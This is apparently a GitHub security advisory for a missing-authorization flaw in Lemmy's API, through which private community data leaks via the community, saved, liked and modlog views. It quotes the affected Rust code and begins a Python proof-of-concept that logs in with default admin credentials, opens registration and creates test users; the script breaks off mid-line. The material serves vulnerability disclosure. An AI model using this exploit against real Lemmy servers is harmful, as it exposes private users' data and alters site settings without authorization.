GitHub Security Advisory: GHSA-95q8-x6r6-672m
Package: lemmy_api (RUST)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-862: Missing Authorization
Vulnerable versions: <= 0.19.1-rc.1
Patched in: unpatched

Summary: Lemmy may expose private community data through community, saved, liked, and modlog API views

Details:
## Summary

Lemmy applies private-community checks in `PostView` and `CommentView`, but several adjacent API views skip the accepted-follower filter. Bob, a registered user who is not an accepted follower, can read private community `sidebar` and `summary` fields. Alice, a former accepted follower, can still read saved and liked private post bodies after she leaves. An unauthenticated visitor can read private community metadata and removed private post names through the modlog.

## Details

`CommunityView::read()` and `CommunityQuery::list()` call `visible_communities_only()`, but they do not add the private-community filter used by post and comment reads:

```rust
query = my_local_user.visible_communities_only(query);
query.first(conn).await.with_lemmy_type(LemmyErrorType::NotFound)
```

`PersonSavedCombinedQuery::list()` and `PersonLikedCombinedQuery::list()` join `community_actions`, but they only filter by the requesting person id. They do not require `community_actions.follow_state = Accepted` when the community has `visibility = Private`.

The modlog query returns `ListingType::All` without a visibility predicate:

```rust
query = match self.listing_type.unwrap_or(ListingType::All) {
  ListingType::All => query,
```

The control paths show the expected check. `PostView::read()` and `CommentView::read()` both filter private communities to accepted followers:

```rust
community::visibility
  .ne(CommunityVisibility::Private)
  .or(community_actions::follow_state.eq(CommunityFollowerState::Accepted))
```

## Proof of Concept

The following script reproduces the leak against a fresh Lemmy instance. Tested against `dessalines/lemmy:nightly` with the default setup account from the sample config. The script opens registration so it can create Alice and Bob.

```python
import requests, random, string

BASE = "http://127.0.0.1:8536/api/v4"  # change to the target Lemmy URL
ADMIN_USER = "lemmy"
ADMIN_PASS = "lemmylemmy"
[CREDENTIAL_REDACTED]"

def req(method, path, token=None, params=None, **body):
    headers = {}
    if token:
        headers["Authorization"] = "Bearer " + token
    return requests.request(method, BASE + path, headers=headers, params=params, json=body or None)

def register(name):
    r = req("POST", "/account/auth/register", username=name, [CREDENTIAL_REDACTED],
            password_verify=PASSWORD, email=name + "@example.test")
    r.raise_for_status()
    token = r.json()["jwt"]
    person_id = req("GET", "/account", token).json()["local_user_view"]["person"]["id"]
    return token, person_id

def show(label, response, marker):
    text = response.text
    print("\n" + label + ": HTTP", response.status_code)
    print(text[:700])
    print("contains marker:", marker in text)

suffix = "poc" + "".join(random.choice(string.ascii_lowercase) for _ in range(6))
admin = req("POST", "/account/auth/login", username_or_email=ADMIN_USER, password=ADMIN_PASS).json()["jwt"]
req("PUT", "/site", admin, registration_mode="open", email_verifi